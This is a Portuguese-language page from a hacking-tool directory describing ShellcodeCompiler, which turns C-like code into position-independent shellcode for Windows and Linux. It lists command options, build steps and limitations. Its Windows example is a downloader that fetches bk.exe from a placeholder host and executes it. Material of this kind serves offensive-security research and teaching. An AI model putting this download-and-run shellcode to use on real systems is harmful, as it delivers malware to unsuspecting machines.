Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ShellcodeCompiler — Compilador de Shellcode | Kitploit
Ferramentas/GitHubGitHub/nytrorst/shellcodecompiler
ExploraçãoShellcodeGeração de ShellcodeDesenvolvimento de PayloadsExploração de Binários
GitHubnytrorst/shellcodecompiler

ShellcodeCompiler

Compilador de Shellcode

Ver Repositório
1.2k280há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Compilador de Shellcode

O Compilador de Shellcode é um programa que compila código no estilo C/C++ em um shellcode pequeno, independente de posição e livre de NULL para Windows (x86 e x64) e Linux (x86 e x64). É possível chamar qualquer função da API do Windows ou syscall do Linux de forma amigável.

O Compilador de Shellcode recebe como entrada um arquivo fonte e usa seu próprio compilador para interpretar o código e gerar um arquivo de montagem que é montado com o mecanismo Keystone.

Opções de linha de comando

root@kitploit:~
    -h (--help)      : Mostra esta mensagem de ajuda
    -p (--platform)  : Plataforma do shellcode: win_x86, win_x64, linux_x86, linux_x64
    -v (--verbose)   : Exibe saída detalhada
    -t (--test)      : Testa (executa) o shellcode gerado
    -r (--read)      : Lê o arquivo de código fonte
    -o (--output)    : Arquivo de saída do shellcode binário gerado
    -a (--assembbly) : Arquivo de saída do código de montagem gerado

Exemplo Windows

root@kitploit:~
    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

Exemplo Linux

root@kitploit:~
    chmod("/root/chmodme",511);
    write(1,"Hello, world",12);
    kill(1661,9);
    getpid();
    execve("/usr/bin/burpsuite",0,0);
    exit(2);

Exemplo de invocação

root@kitploit:~
    ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64

Limitações

  1. Não é possível usar o valor de retorno de uma chamada de API
  2. Não é possível usar ponteiros ou buffers
  3. Não é possível declarar variáveis

Existem muitas outras limitações também. Esta é uma versão Alpha. Por favor, reporte quaisquer bugs ou sugestões.

Registro de alterações

  1. Suporte inicial para Windows x64
  2. Suporte inicial para shellcodes Linux (x86 e x64)

Keystone

  1. Baixe o código fonte do Keystone Engine
  2. Compile o Keystone Engine como biblioteca estática usando nmake-lib.sh (para Linux) e nmake-lib.bat (para Windows)
  3. Windows: Copie o arquivo lib resultante de keystone-src\build\llvm\lib\keystone.lib para ShellcodeCompiler\Keystone\keystone_x86.lib (para 32 bits) e keystone_x64.lib (para 64 bits)
  4. Linux: Copie o arquivo lib resultante de keystone-src\build\llvm\lib\keystone.lib para ShellcodeCompiler\Keystone\libkeystone_x86.a (para 32 bits) e libkeystone_x64.a (para 64 bits)

Autor

Ionut Popescu (@NytroRST)

Baixar ferramenta